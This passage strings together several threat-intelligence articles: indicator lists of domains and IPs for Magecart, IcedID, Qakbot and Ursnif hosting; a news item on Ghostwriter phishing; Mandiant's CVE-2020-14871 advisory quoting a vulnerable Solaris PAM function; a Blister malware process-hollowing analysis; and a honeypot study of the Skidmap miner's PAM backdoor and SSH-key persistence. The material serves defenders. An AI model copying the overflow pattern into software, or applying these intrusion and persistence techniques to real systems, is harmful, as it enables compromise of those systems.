to a bulletproof hosting service. ## Magecart The first set of domains spoofs well-known services such as Cloudflare, Google, jQuery, and Magento: - cloudflareplus[.]com - cloudflareplus[.]net - cloudflareshop[.]com - cloudflare[.]su - googleexpert[.]name - googleinfo[.]name - googlemanagerads[.]com - googlemaster[.]name - googleplus[.]name - gooqlescript[.]com - jquery24[.]com - jqueryexpert[.]com - jqueryinfo[.]com - jquery[.]su - jsstroy[.]com - magentoinfo[.]name - magentoinfo[.]org - magentoportal[.]com - magentostore[.]org - manualseos[.]ru - mycloudflare[.]net - procloudflare[.]com - procloudflare[.]net - seocmson[.]ru These domains were all registered at Russian registrar REG.RU on the 3rd of November 2020 and have simultaneously moved through the same set of IP addresses. They all use the name servers of DNSPod, a Chinese DNS hosting provider that has long been popular with cyber criminals. For the first three months of 2021, the domains were seen on the following twenty IP addresses, in this order: - 208.69.117[.]117 - 194.147.78[.]6 - 45.143.136[.]186 - 92.38.130[.]71 - 46.17.250[.]52 - 46.17.250[.]84 - 91.203.192[.]117 - 34.65.156[.]213 - 35.189.71[.]51 - 34.65.43[.]209 - 35.197.218[.]54 - 35.205.161[.]91 - 8.209.112[.]138 - 35.228.62[.]27 - 34.107.33[.]136 - 35.228.209[.]29 - 35.187.16[.]185 - 35.228.228[.]1 - 35.204.191[.]93 - 35.198.110[.]173 Sometimes, the domains only pointed to an IP address for less than a day, but in one case, they pointed to the same IP address for three weeks in a row. The IP addresses belong to various hosting services, with a particular preference for Google’s. Interestingly, around the 8th of March, nine more domains joined the cycle: - bing-visitors[.]com - cloubfiare[.]net - googiemanager[.]com - googlemanagerads[.]com - googlemgr[.]net - googletag[.]name - gooqleads[.]net - qodaddy[.]net - yahoo-tracker[.]com They have been pointing to the same IP address as the original set ever since. There is public evidence linking these domains to Magecart. Magecart is an umbrella term used to refer to more than a dozen groups that insert code into websites’ payment pages that steals credit card data. A common trick used by Magecart groups is to make their domains look like those from which code is regularly included into web pages. A website owner looking at a web page’s source code may thus incorrectly assume the inclusion of third-party JavaScript is harmless. **Note:** Because the domains sometimes pointed to an IP address for a very short time period, it is possible that the list of IP addresses above isn’t complete for the three-month period January 1st to March 31st 2021. The same applies to the examples below. ## IcedID and Qakbot A second set of domains also cycled through a set of IP addresses, again all pointing to the same IP address at the same point in time. The domains are: - aath22rzmo03mvewdj[.]xyz - amr16pzcp03omerd[.]xyz - caqp10snyod03msvsqu[.]com - fkko03vvxohq03taep[.]com - cidn02mjco03pobx[.]com - cyh26wcekai02atpeax[.]com - drt22uhfjmz03ltxc[.]xyz - dskl02touc03jeby[.]com - dzw10jpcgj03fckc[.]com - emqjj27ljgl02hqqzi[.]com - etysu02scnabr03wzaxue[.]com - evz15lmlir03sygmyr[.]xyz - b25d3a23hy[.]com - fb25d3add23hy[.]com - fb25d3as23hy[.]com - fb25d3asddd23hy[.]com - fb25d3erda23hfy[.]com - fb25era23hfy[.]com - fb25erhfy[.]com - ftkaq03ihfbh03rehx[.]com - fyz10eijkl03mytjfb[.]com - gbza26rngn02bekll[.]com - ghtyrncjf2df[.]com - hei03tfxv03mahl[.]com - hqcaz02egeq03bvmhm[.]com - hqn27dyhvwp02wznv[.]com - ihjpn03sijjl03dtmtr[.]com - inpa02lzjvt03anas[.]com - jam03iofwv03jniedf[.]com - jgu16cbxdr03ehqvx[.]com - jhj10jtvwu03zsjwk[.]com - jqilt27xsbz02anaeu[.]com - klhlh16zldwun03vlpq[.]com - kyvws03ndah03hecon[.]com - lic02uiccnh03nruvp[.]com - lxoyw10bipu03ilyig[.]com - mtk23gqakwj03bzds[.]xyz - qnvrih26coxejl02enyfn[.]com - nwvv27dwmy02bgznc[.]com - nygvj27cvlk02cktf[.]com - olfs23kvri03wyyb[.]xyz - ououz02naba03oiyd[.]com - pbdq26xjey02uprxwx[.]com - ppk02dmgmzj03dxekog[.]com - qab26utxb02pquc[.]com - rdraj16rwjw03xnli[.]com - rea26ypgvle02hcbunp[.]com - rlvq27rmjej02sfvb[.]com - rlyrt26rnxw02vqijgs[.]com - rsjb23tnxjng03dgiy[.]xyz - sal03gicu03qcwtif[.]com - tmrz10fxhy03ntxjf[.]com - toj27nlpr02irajz[.]com - toqku26hwpu02shuroh[.]com - ttj10qrrqx03kdts[.]com - usy15wycqme03dymh[.]xyz - vad12mhpfp03vyfl[.]xyz - vdk10pfsny03tzfva[.]com - vpu03jivmm03qncgx[.]com - vyhml26anpfyb02aqsehz[.]com - vyw27lfrvoj02kkxo[.]com - wnah27frybfe02sadb[.]com - xgka03stox03cloeqz[.]com - xjw10whta03ytgdi[.]com - xsd22aeofw03lqzf[.]xyz - yar03jmtvr03jtqg[.]com - ydw27hfhbk02zpidmv[.]com - ywgiu10zmnwcx03vpnyp[.]com - zkkn02lffiff03zkmh[.]com While the IP addresses are: - 47.254.134[.]0 - 34.90.237[.]156 - 8.209.64[.]96 - 8.209.68[.]209 - 34.89.57[.]175 - 8.208.97[.]177 - 35.228.62[.]27 - 8.210.31[.]137 - 35.228.48[.]27 - 34.65.218[.]17 - 8.209.98[.]100 - 35.204.191[.]93 - 8.211.4[.]209 The domains were registered between late February and mid-March 2021, mostly through Dutch registrar Hosting Concepts with a few using REG.RU instead. The nameservers used were again those of DNSPod, while the IP addresses belong to Google and Alibaba. Interestingly, two of the IP addresses were also used by the Magecart domains above, suggesting a possible link between the two sets. Many of the above domains have been used to download either the IcedID or the Qakbot malware. Both IcedID and Qakbot (also known as Qbot) are commonly used as initial access brokers. Though no direct link between these two actors is known, recently URLs of the type that previously served Qakbot started to serve IcedID instead. This suggests that it is another actor that handles the spam campaigns that deliver either malware, an example of the increased commoditization of cybercrime. This would also explain why the domains listed above are different from the IcedID command and control domains I wrote about recently, which use a different hosting infrastructure. ## Ursnif and Phishing A third set of domains also cycled through a set of IP addresses: - aodacrtsrytuce[.]com - ashguq[.]com - chonlinedocstorage[.]com - companieshdocstorage-online[.]com - docusign-cloudab[.]com - docusign-cloudbc[.]com - docusign-cloudcd[.]com - docusign-cloud[.]com - docusign-vault[.]com - edssrdsceaaorb[.]com - exhssppceaaorb[.]com - hutnspiekeagrm[.]com - ioqpuyfshaio[.]com - ipqweyb[.]com - jyohjdowprwiondotrbkght[.]com - nbmipqw[.]com - ospzsiq[.]com - qpofsgw[.]com - rconalacrtnspi[.]com - rvprmsrirdeala[.]com - srirdelehssfaojr[.]com - srtnserqdelaeh[.]com - uidacrtsppxece[.]com - uiwoqp[.]com - upsdocstorage[.]com - upsdocstorage-online[.]com - vcavwq[.]com - wvmiap[.]com - zhdipqw[.]com The IP addresses in this case are: - 188.227.58[.]120 - 45.143.136[.]43 - 188.227.86[.]64 - 91.203.192[.]117 - 35.228.188[.]33 - 35.246.93[.]71 - 35.228.88[.]152 All these domains were registered through Eranet, a registrar based in Hong Kong, and again used DNSPod’s nameservers. Two of the IP addresses were also used by the Magecart domains, suggesting a possible link. Interestingly, there are two kinds of domains in the list. On the one hand, there are random-looking domains which, as with the IcedID/Qakbot domains above, could suggest a domain generation algorithm (DGA). On the other hand, domains like docusign-cloud[.]com and upsdocstorage[.]com, of which one can be all but certain they have been used in phishing campaigns: both DocuSign and UPS are commonly used in phishing lures. It is not surprising therefore that these latter domains were taken down, often within a week after becoming active: lookalike domains are actively hunted by the affected organizations. As for the DGA-like domains, one of them, uidacrtsppxece[.]com, has been linked to Ursnif, another common malware delivered in email campaigns. It is unclear whether there is a direct link between Ursnif and the phishing domains beyond the use of the same infrastructure, or even whether all DGA-like domains have served Ursnif. ## Other Domains There are many other domains that have used the same infrastructure, including the use of the DNSPod DNS provider. For example, the domains: - ie-kbc[.]net - ie-kbc[.]org - kbc-ie[.]net - www.kbcbanking[.]net Will no doubt have been used to impersonate KBC, an Irish bank, while authorise-eebilling[.]com has likely targeted customers of UK mobile provider EE. There are also several more domains that suggest a DGA. ## Conclusion: A Bulletproof Hosting Provider? The similarities among the various sets described above, such as the use of DNSPod and the sharing of IP addresses, suggest the campaigns described all use the same infrastructure, likely that of a bulletproof hosting service. A bulletproof hoster serves a similar function as a content-delivery network (CDN) does for legitimate domains: making it harder for a denial-of-service attack. The “attack” in this case would come from law enforcement and security researchers. In the past, bulletproof hosters ran their own networks, which often led to the whole ASN being blocklisted. More modern bulletproof hosters rent servers at cloud providers and set these up as proxies for their customers’ content. By rotating through a set of IP addresses, the content is less vulnerable to being blocked based on the IP address. Intel471 recently wrote about bulletproof hosters and in particular mentioned DNSPod. Of course, we cannot be 100% certain that this is a bulletproof hoster, or even that the various campaigns do use the same infrastructure: the sharing of IP addresses may be a coincidence, or because there is another party involved in renting the servers. But this is yet another example that shows how understanding the context of a domain name can help one find a lot of related infrastructure that is worth blocking, even without having seen evidence of actual malicious activity.
**Meta: Ukrainian officials, military targeted by Ghostwriter hackers** By Sergiu Gatlan February 28, 2022 Facebook (now known as Meta) says it took down accounts used by a Belarusian-linked hacking group (UNC1151 or Ghostwriter) to target Ukrainian officials and military personnel on its platform. In November 2021, Mandiant security researchers linked the UNC1151 threat group with high confidence to the Belarusian government, as well as a hacking operation the company tracks as Ghostwriter. Facebook also blocked multiple phishing domains used by the threat actors to try and compromise the accounts of Ukrainian users. "We detected attempts to target people on Facebook to post YouTube videos portraying Ukrainian troops as weak and surrendering to Russia, including one video claiming to show Ukrainian soldiers coming out of a forest while flying a white flag of surrender," Meta's Head of Security Policy Nathaniel Gleicher and Threat Disruption Director David Agranovich said. "We also blocked phishing domains these hackers used to try to trick people in Ukraine into compromising their online accounts." Accounts believed to be targeted in this campaign have been secured by Facebook's security team, and the users have been alerted of the hacking attempts. Facebook also took down a small network of a few dozen Facebook and Instagram Pages and Groups operating from Russia and Ukraine and targeting Ukrainians via fake accounts across multiple social media platforms, including Facebook, Instagram, Twitter, YouTube, Telegram, Odnoklassniki, and VK. This operation was also behind a small number of sites that were masquerading as independent news portals and publishing claims about Ukraine being betrayed by the West and "being a failed state." Meta's report confirms a warning issued by the Computer Emergency Response Team of Ukraine (CERT-UA) on Friday regarding spear-phishing attacks targeting the private email accounts of the Ukrainian military. Email accounts compromised in these attacks were then used to target the victims' contacts with similar phishing messages threatening to permanently disable their accounts unless they verified their contact information. The Ukrainian State Service of Special Communications and Information Protection (SSSCIP) also warned of a separate and ongoing series of phishing attacks targeting Ukrainians with malicious documents. Slovak internet security firm ESET issued its own alert the same day regarding cybercriminals impersonating humanitarian organizations to scam donors of organizations focused on helping Ukraine during the war started Thursday by Russia's invasion. These attacks follow data-wiping attacks against Ukrainian networks with HermeticWiper malware and ransomware decoys aiming to destroy data and render devices unbootable. In January, Ukraine was also hit by data wipers when the WhisperGate wiper was deployed in attacks disguised as ransomware. Before Russia's invasion, the Ukrainian Security Service (SSU) said the country is being targeted by a "massive wave of hybrid warfare." Over the weekend, Ukraine's Vice Prime Minister Mykhailo Fedorov announced the creation of an "IT army" to help Ukraine "fight on the cyber front."
# Critical Buffer Overflow Vulnerability in Solaris Can Allow Remote Takeover — CVE-2020-14871 Mandiant has been investigating compromised Oracle Solaris machines in customer environments. During our investigations, we discovered an exploit tool on a customer’s system and analyzed it to see how it was attacking their Solaris environment. The FLARE team’s Offensive Task Force analyzed the exploit to determine how it worked, reproduced the vulnerability on different versions of Solaris, and then reported it to Oracle. In this blog post, we present a description of the vulnerability, offer a quick way to test whether a system may be vulnerable, and suggest mitigations and workarounds. Mandiant experts from the FLARE team will provide more information on this vulnerability and how it was used by UNC1945 during a Nov. 12 webinar. ## Vulnerability Discovery The security vulnerability occurs in the Pluggable Authentication Modules (PAM) library. PAM enables a Solaris application to authenticate users while allowing the system administrator to configure authentication parameters (e.g., password complexity and expiration) in one location that is consistently enforced by all applications. The actual vulnerability is a classic stack-based buffer overflow located in the `parse_user_name` function. An abbreviated version of this function is shown below: ```c static int parse_user_name(char *user_input, char **ret_username) { register char *ptr; register int index = 0; char username[PAM_MAX_RESP_SIZE]; ptr = user_input; while (*ptr != '\0') { if ((*ptr == ' ') || (*ptr == '\t')) break; else { username[index] = *ptr; index++; ptr++; } } if ((*ret_username = malloc(index + 1)) == NULL) return (PAM_BUF_ERR); (void) strcpy(*ret_username, username); return (PAM_SUCCESS); } ``` The vulnerability arises whenever a username longer than `PAM_MAX_RESP_SIZE` (512 bytes) is passed to `parse_user_name`. The vulnerability has likely existed for decades, and one possible reason is that it is only exploitable if an application does not already limit usernames to a smaller length before passing them to PAM. One situation where network-facing software does not always limit the username length arises in the SSH server, and this is the exploit vector used by the tool that we discovered. SSH Keyboard-Interactive authentication is a “passthrough” authentication mechanism where the SSH protocol relays prompts and responses between the server’s PAM libraries and the client. It was designed to support custom forms of authentication such as two-factor without modifying the SSH protocol. By manipulating SSH client settings to force Keyboard-Interactive authentication to prompt for the username rather than sending it through normal means, an attacker can also pass unlimited input to the PAM `parse_user_name` function. ## Proof of Concept Exploit In order to quickly test different versions of Solaris to see if they may be vulnerable, we developed a proof of concept exploit to trigger the overflow and crash the SSH server. The standard OpenSSH client offers all the options needed to trigger the vulnerability. The indication that the server is vulnerable is that the SSH client prints “Authentication failed;” a non-vulnerable PAM library causes the SSH server to repeatedly prompt for a username if it receives one that is too long. The overflow in the PAM library also causes the SSH server to crash. The operating system writes a crash dump to `/core` if the SSH server crashes with no debugger attached. In fact, if a `/core` file exists on a Solaris machine and the file command reports that it is from `sshd`, those are indicators consistent with this vulnerability having been exploited. ## Vulnerable Operating Systems - Solaris 9 (some releases) - Solaris 10 (all releases) - Solaris 11.0 While the `parse_user_name` function remains vulnerable in unpatched Solaris 11.1 and later, unrelated changes to the PAM library truncate the username before the vulnerable function receives it, rendering the issue non-exploitable via SSH. If the `parse_user_name` function were reachable in another context, then the vulnerability could become exploitable. - Illumos (OpenIndiana 2020.04) ## Mitigations and Workaround A patch from Oracle for Solaris 10 and 11 is described in the October 2020 Critical Patch Update. Because Solaris 9 is no longer supported, Oracle has not released a patch. For Solaris 9, as well as Solaris 10 or 11 systems where patching is inconvenient, we recommend editing the `/etc/ssh/sshd_config` file to add the lines `ChallengeResponseAuthentication no` and `KbdInteractiveAuthentication no` and restart the SSH server. While this removes the opportunity to exploit the vulnerability using SSH Keyboard-Interactive authentication, there may be other ways to attack the `parse_user_name` function, and we recommend using this workaround only as a stopgap until Solaris 9 systems can be upgraded, or the October patch can be accessed and installed for supported Solaris versions. ## Acknowledgements Jeffrey Martin of Rapid7 contributed to the testing of this vulnerability.
# Technical Analysis of Code-Signed “Blister” Malware Campaign (Part 2) **Anandeshwar Unnikrishnan** February 17, 2022 The Blister is a code-signed malware that drops a malicious DLL file on the victim’s system, which is then executed by the loader via `rundll32.exe`, resulting in the deployment of a RAT/C2 beacon, thus allowing unauthorized access to the target system over the internet. Blister Malware campaigns have been active since September 15, 2021. Part I of CloudSEK’s analysis provides a detailed understanding of how the loader functions. Part 2 will delve into the details of this campaign’s second stage, which is the .dll payload, and its internal working. ## Dissecting the Malicious DLL – Blister Malware As discussed in Part 1, the Blister dropper drops the malicious .dll file in the Temp directory of the user, inside a newly created folder. This malicious .dll then carries out the second stage of the campaign, in which a RAT/agent is deployed on the system to gain unauthorized access and steal data. The Blister dropper calls the function `LaunchColorCpl`, which is one of the functions exported by the .dll, via `rundll32.exe`. ### Functions exported by the malicious DLL #### Staging The exported function `LaunchColorCpl` retrieves the staging code from the resource section of the PE file. This staging code is protected by a simple XOR encoding scheme. After the iterative decoding of the staging code, the control is transferred to decoded code in the memory. The control flow is transferred to the staging code by calling the address in the EAX register. ### Anti-Analysis The staging code is heavily obfuscated and has a logic similar to spaghetti code, to hinder analysis. All the calls to Windows APIs are obscured and dynamically resolved. The first thing that the staging code does is to make the malware go to sleep by calling the Sleep Windows API. This is a typical strategy used by most malicious codes to bypass security sandboxes and dynamic testing of security products. The hex value “927C0” is passed to `kernel32.759F9010`, i.e., the Sleep function. This value (927C0) translates to “600000” in decimal. Since the Sleep API takes arguments in milliseconds (ms), the 600000 ms get converted to 10 minutes. When the malware resumes from sleep, it fetches the final payload from the resource section of the PE file. In the memory, the protected payload is decoded. The presence of a DOS header in the payload bytes confirms that the payload is in PE format and not shellcode. An interesting observation from this analysis is the addition of the MZ byte after the decryption process. In the above image, the initial byte is not MZ; rather, the MZ byte is later added at the beginning of the payload separately. This behavior is primarily for operational security. ### Process Hollowing In general, process hollowing allows an attacker to change the content of a legitimate process from genuine code to malicious code before it is executed by carving out the code logic within the target process. After decrypting the final payload, the malware prepares for execution. This is done by creating a new process to deploy the extracted code and then performing process hollowing to execute the payload in the remote process. The staging code retrieves the `Rundll32.exe` location from the compromised system. A new process of `Rundll32.exe` is created via the `CreateProcessInternalW` API in the suspended state. The malware uses the following Win32 APIs for process hollowing: - `ZwUnmapViewOfSection` - `ZwReadVirtualMemory` - `ZwWriteVirtualMemory` - `ZwGetContextThread` - `ZwSetContextThread` - `NtResumeThread` `ZwWriteVirtualMemory` is used to write malicious code into the target process. To make the thread of the new process point to the newly written code, the attacker alters the entry point of the current thread via `ZwGetContextThread` and `ZwSetContextThread`. These functions are used to perform processor housekeeping activities on the data structure that stores the current context of the running thread. Process hollowing takes advantage of these features to make the process thread run the attacker code. ### Step by Step Working of the DLL The staging code allocates new memory via `ZwAllocateVirtualMemory` to transfer the previously decrypted final payload. The payload is then copied to a newly created buffer. Based on CloudSEK’s testing on the extracted payload, one of the analyzed samples contained the Raccoon stealer as the final stage payload. However, other samples used Cobalt Strike beacon and BitRAT to compromise the target and gain unauthorized access. The staging code then injects the code into the newly created remote process, i.e., `Rundll32.exe`. Later, the memory protections are changed to appropriate ones for the execution of the residing code via `NTProtectVirtualMemory`. The thread context is retrieved via `ZwGetContextThread` API to change the entry point of the thread to execute the payload injected into the remote process. The `ZwSetContextThread` is used to modify the thread entry point to that of the newly copied PE file. At the final stage of process hollowing, the suspended thread of the `Rundll32.exe` is resumed via `NtResumeThread`. Then the `Rundll32.exe` process starts executing the malicious code hollowed into it by the malware. In the clean-up process, the staging code uses `NtFreeVirtualMemory` to release the allocated memory, which holds the payload assembly, one by one. The current process used for staging is terminated via the `NtTerminateProcess`. ## Blister Malware – Maintaining Persistence The Blister malware achieves persistence on the target system by creating an “lnk” file named `proamingsGames` in the `C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Startup` directory. Whenever the user logs in, `explorer.exe` executes any file in the Startup folder. As a result, when the user signs into the account, following the boot process, the malware runs as a child process of `explorer.exe`. The target for the lnk file is set as `C:\ProgramData\proamingsGames\proamingsGames.dll,LaunchColorCpl`. Here, the malware copies the `Rundll32.exe` as `proamingsGames.exe` and the malicious .dll (initially into `C:\ProgramData\proamingsGames` directory) is dropped in the Temp folder. Every time that the system powers up and the user logs in, the lnk file runs a malicious .dll through a renamed instance of `Rundll32.exe`. ## Conclusion Given that threat actors are actively using valid code-signing certificates in Windows systems to avoid detection by antivirus software, it is essential for network and endpoint security products to be updated with the malware’s latest Indicators of Compromise (IoCs). The latest IoCs for the Blister Malware are enumerated in Part 1 of the technical analysis. --- **Author Details** **Anandeshwar Unnikrishnan** Threat Intelligence Researcher, CloudSEK Anandeshwar is a Threat Intelligence Researcher at CloudSEK. He is a strong advocate of offensive cybersecurity. He is fueled by his passion for cyber threats in a global context. He dedicates much of his time on Try Hack Me/Hack The Box/Offensive Security Playground. He believes that “a strong mind starts with a strong body.” When he is not gymming, he finds time to nurture his passion for teaching. He also likes to travel and experience new cultures. **Hansika Saxena** Total Posts: 2 Hansika joined CloudSEK’s Editorial team as a Technical Writer and is a B.Sc (Hons) student at the University of Delhi. She was previously associated with Youth India Foundation for a year.
# Tracking Cryptocurrency Malware in The Homelab ## About the Project Since July of 2020, I have been running a “honeypot” of sorts made by anthok to capture all requests coming in on specific ports. By listening on ports commonly used by databases such as Elasticsearch or Redis, we’ve been able to observe a lot of bot behavior. Most of the requests resulted in trying to gain an initial foothold onto the environment to run a bash script to bring down their stage-1 malware. Additional domains were identified by searching for the same curl one-liner within my dataset. Through this methodology, I was able to identify additional IPs over time, that either were compromised by a particular bot or are additional infrastructure used by the malicious actors. ## Logging Infrastructure Anthok’s listening server logs data in CSV format to a single directory where Filebeat is leveraged to forward data to Arch Cloud Labs (ACL) Logstash. The CSV data contains a timestamp, source IP, and the raw bytes of the data observed on the wire. This data is then shipped back to ACL’s core Elasticsearch server and visualized. By tracking data over time, we have identified multiple cryptocurrency miners and other various malicious bots. While not particularly sophisticated, it has been successful in capturing data that has lent itself to some interesting research. As data comes in, it’s possible to query on specific attributes such as source IP, message, or anything that contains the word “wget.” Most requests captured are trying to take advantage of a known vulnerability or exposed service. Often captured is what would appear to be a very specific request against a specific service targeting a documented CVE followed by a wget, netcat, or curl command within the body of an HTTP request. For example, a POST request against an Elasticsearch server trying to take advantage of an old RCE vulnerability followed by a curl command that pipes the output to /bin/bash. This example was observed and documented in a previous blog post. By filtering on these command-line utilities, further investigation of potential malicious domains is made trivial. At this point, probable malware-hosting domains can be identified allowing for remote resources to be downloaded and analyzed. By looking at trends over time, it’s easy to see the same one-liners from the same C2 domains. Then by looking at what source IP address the requests are coming from, it’s possible to start seeing either infected hosts trying to further propagate or new infrastructure being stood up by malicious actors. At the start of this project, a domain called “powerofwish” stood out as it was connecting on the default port Redis runs on. Most other connections at this time were either RDP brute force or Elasticsearch requests. Analyzing the “powerofwish” domain over time resulted in identifying a new domain “hearme[.]xyz” and spurred my interest in digging into domain-related data. The image below shows IPs associated with these domains since July of 2020. Over the course of four months, I have identified ten various IPs correlated to one known malicious domain hosting cryptocurrency mining malware. Over time, it is possible to see new hosts being associated with these particular domains and other hosts falling off. Two noticeable gaps exist in late September and mid-October of this year. I am unable to pinpoint exactly why this may be. Shodan searches identified most of these IP addresses exposing various databases or FTP servers. While not proven, it is likely that some of these domains were victims of the original dropper samples and not themselves maliciously spreading the cryptocurrency miner. ## Cryptocurrency Miners - Skidmap The vast majority of malicious samples identified from the data collection approach described above happen to be cryptocurrency miners. Adversaries can quickly wrap a PoC of a CVE with an open-source cryptocurrency miner and be on their way to illicit operations. The particularly interesting piece comes in the form of how the endpoint malware is delivered, engineered, and maintained. The particular samples that will be discussed going forward are publicly documented by Trend Micro as Skidmap. Looking into Initial Malware Hosting Domains, SecurityTrails' historical DNS data provided insight into the initial bash one-liner seen in our “sensor” infrastructure. Shared infrastructure was identified of other domains that were also used to host not only the bash dropper script but a variant of the stage-1 malware as well. The subdomain of “a” was being used to serve the stage-1 dropper, whereas all stage-2 content came from subdomain “d.” You’ll notice that Cloudflare is being leveraged for their CDN abilities to host the initial bash script. Pivoting on the subdomain of “d,” I was able to further identify another domain shared with this IP, “cpuminerpool[]com.” An interesting artifact of the “pm” subdomain is that the stage-1 dropper observed initially within Kibana was a pm[].sh script. By requesting the dropper script directly from both powerofwish and cpuminerpool domains, two variants were successfully downloaded. This leads me to believe some type of vhosting is in place. Something else I found interesting was that the cpuminerpool domain has recently been transitioned to multiple hosting providers as well as IP addresses within the past year, often not staying at a particular hosting provider for a short period. I thought it might have been getting reported for abuse. However, taking a gander at Virus Total for all three domains showed very low scores across the board. Looking into hosting providers resulted in a very cheap VPS provider with a data center out in Las Vegas as well as a Russian-owned provider operating out of Moscow. Perhaps all the moving of domains is to keep costs low or just to consistently keep changing their footprint. Cloudflare is being used for not only its uptime but also the low likelihood (if any at all) of a CDN being outright blocked. This way, the actors could go back and modify or update the stage-0 dropper to accommodate for infrastructure change. ## Anatomy of the Cryptocurrency Miner ### The Flow of Execution The flow of execution shows what I observed in my analysis. The Trend Micro analysis states that a cronjob was added to consistently execute the sample every minute. The samples I obtained were set to execute every twenty minutes. Additionally, the file being downloaded from the initial dropper (pm.sh) was an ELF file called “pc.” Within my dataset, it was “CC” being downloaded. However, also observed was the hosting of “png,” “px,” and “PC.” Each of these files during my analysis returned the same MD5 hash. ### Stage-0 - Gaining Access Upon initial investigation, the domain “powerofwish” was attempting to connect to exposed Redis instances and run commands to gain shell access. ### Stage-1 Dropper The bash dropper and its variants are fairly straightforward. The flow of execution breaks down as follows: 1. Verify the hash of stage-2 executable if it exists, if not download the ELF executable. 2. Download and install unhide if not installed. 3. Use unhide to list processes (hearme, cc, pc, xr) and kill them. 4. Perform cleanup commands. 5. Download stage-2 via curl or wget if available. 6. Launch downloaded. An interesting piece to note here is that the unhide package is being leveraged due to modified versions of ss, netstat, and even LKMs being deployed to hide connections. Out of the three variations of the dropper identified (across three different domains), not all had this unhide component. The stage-2 samples across all domains were UPX packed and stripped. However, unpacking them resulted in the original binary being full of symbols making it significantly easier for analysis. Unless otherwise stated, assume all symbols were named by the developer and not I. ### Stage-2 Persistence At this point, a binary titled “cc,” “px,” “pc,” or “png” has been downloaded and executed. I have broken up key functionality into separate sections, but please keep in mind this is NOT a complete analysis. #### Dropping SSH Keys Each variant I analyzed of Skidmap dropped a public key to /root/.ssh/authorized_keys. Each sample analyzed had a different public key. After dropping the public key, the chattr binary is moved to /usr/bin/t and then the root user’s authorized key file is given the immutable bit to prevent modifications. I also did not observe any sample checking that root login via ssh was enabled. This is why I believe they also drop a backdoored version of PAM. #### Overwriting PAM After SELinux is disabled on the host, an embedded SO variant of PAM is written to enable the adversary to login with a hardcoded password. By referencing that binarypam8 offset, we see the good ol' ELF header awaiting us in the DATA section with a cross-reference to the intuitively named “writepam” function. After writing the new PAM shared object, SELinux is re-enabled. Extracting the embedded SO and throwing it in IDA, the hardcoded password is identified. This is the same hardcoded password as identified in the Trend Micro blog post and it stayed the same across multiple variants downloaded from different hosting providers. #### Downloading & Installing Further Components If the underlying host is CentOS, a special function is called which downloads a password-protected tarball entitled “cos7.tar.gz.” The hardcoded command shown in IDA below decrypts the tarball and reveals a directory of init service scripts and modified binaries. An interesting component here was the hardcoded decrypt command. I could not replicate this successfully unless I was on a CentOS 6 machine. I am assuming there is a bug with this command and newer versions of tar on CentOS7 and greater. The modified versions of common Linux utilities include ss, rm, wtmp, scp, ssh, ip6network, and kaudited. During my analysis, I could not find any other case where this file was downloaded unless the host was CentOS. The tar file’s kaudited binary contains several embedded files that end up being kernel modules. Kaudited was then executed if an MD5 matched within the CC binary; otherwise, no kernel modules were installed from my observations. The largest portion kaudited is responsible for besides kernel module installation was the installation and planting of other various files. This was achieved via the bash script listed below. Note that yet again, pam is being modified. This was a common observation throughout the analysis. When in doubt, re-backdoor pam! ### Kernel Modules A check is made by the kaudited utility to verify what kernel version the host has. After that, the appropriate embedded kernel module is written to disk and installed via a C system function call to insmod. The image below shows the branching statement identifying that nine different LKMs are embedded within this particular sample. However, when extracting binaries, more were identified but not analyzed further. It’s possible during extraction a mistake occurred or just like for LKM installation, there are several variations for other utilities. A quick look at the symbols within the kernel modules reveals functionality to hide outbound connections to specific destination ports as well as the hiding of files. ### Differences Between Samples The core functionality is largely the same between all of these variations of Skidmap. The only differences I could identify were in the cryptocurrency mining pools and public SSH keys being dropped. ### Stage-3 Miner Hardcoded strings within the binary revealed that cpuminer-opt is the mining software being leveraged across each variant I found. Hardcoded command line arguments revealed the usernames sugar1qddpk0wgqtgufenz6z9zh4cjgrehk8ezu and sugar1q523af4pce0r4cfrq08eyjpjjesw943s8 being used across eight separate mining pools. These mining pool URLs include sugar[.]ss[.]dxpool[.]com, stratum-eu[.]rplant[.]xyz, and stratum-asia[.]rplant[.]xyz. Both variants are set up to mine on sugarchain. However, at the time of this writing, when leveraging sugarchain’s blockchain explorer, I was unable to find any transactions successfully completed by either username. Cpuminer-opt is wrapped within a binary that contains similar functionality that the stage-1 sample did. It also contains the ability to overwrite PAM and drops an SSH public key to enable access. In both instances, a public key was dropped into the root user’s authorized keys file. Normally, one would be concerned with cryptocurrency miners spiking CPU usage bringing unwanted attention. I have observed other examples using the renice utility to lower the amount of time a process would request on CPU. However, the developers of these particular samples have taken care of that by introducing functionality into kernel modules to hide real CPU usage. ## IoCs ```plaintext // stage-1 droppers 706a98254456810d3e849c3957af9d01 a-powerofwish-com-init 706a98254456810d3e849c3957af9d01 a-powerofwish-com-pm 1bd78e75628e240bca853ff7d03deb74 pm-cpuminterpool-pm 2c158a431794607be9b63bccc8df22ea d-powerofwish-com-init // upx samples 8f6e5795ab79d72b2a12f3069001eb60 a-powerofwish-com-pc-upx 8f6e5795ab79d72b2a12f3069001eb60 a-powerofwish-com-png-upx 2c158a431794607be9b63bccc8df22ea pm-cpuminerpool-cc-upx 2c158a431794607be9b63bccc8df22ea pm-cpuminerpool-com-png-upx // un-upx samples 9e6f454fd1ead5c0abcd4eec173d571e a-powerofwish-com-png 0e7d7ac72e5dfee64d74b70a4e031183 a-powerofwish-miner2 9e6f454fd1ead5c0abcd4eec173d571e cpuminerpool-cc 1bd78e75628e240bca853ff7d03deb74 cpuminterpool-pm 9e6f454fd1ead5c0abcd4eec173d571e d-powerofwish-com-png c5147da98446cae3648fcce55b4d26b7 hearme-xyz--miner2 6f1496cf82f80259c68f58b06df6e22f hearme-xyz-cc 36d70ab88e18ea4af9a0d5db46ae3e9e pm-hearme-xyz e7e2bf2df6a33e6617870e8dd78abd10 pm-power-of-wish 9e6f454fd1ead5c0abcd4eec173d571e powerofwish-cc 9e6f454fd1ead5c0abcd4eec173d571e powerofwish-com-pc 9e6f454fd1ead5c0abcd4eec173d571e powerofwish-com-px 9e6f454fd1ead5c0abcd4eec173d571e powerofwish-png // files below are from the cos7.tar.gz 5840dc51673196c93352b61d502cb779 ip6network a36f1439f54dfe41f199ce146cc46d52 kaudited e96d1a8be74bf00011f630444edd3574 network-7.0 e5d05f3767a650ad5d534bdfd8ce2ffb network-7.1 376016032e9b50120cc60c1651b1f242 network-7.2 376016032e9b50120cc60c1651b1f242 network-7.3 45cde38fe5f84078712f899603c1dcba network-7.4 45cde38fe5f84078712f899603c1dcba network-7.5 d44908e9849b1841272618bd51a40182 network-7.6 d44908e9849b1841272618bd51a40182 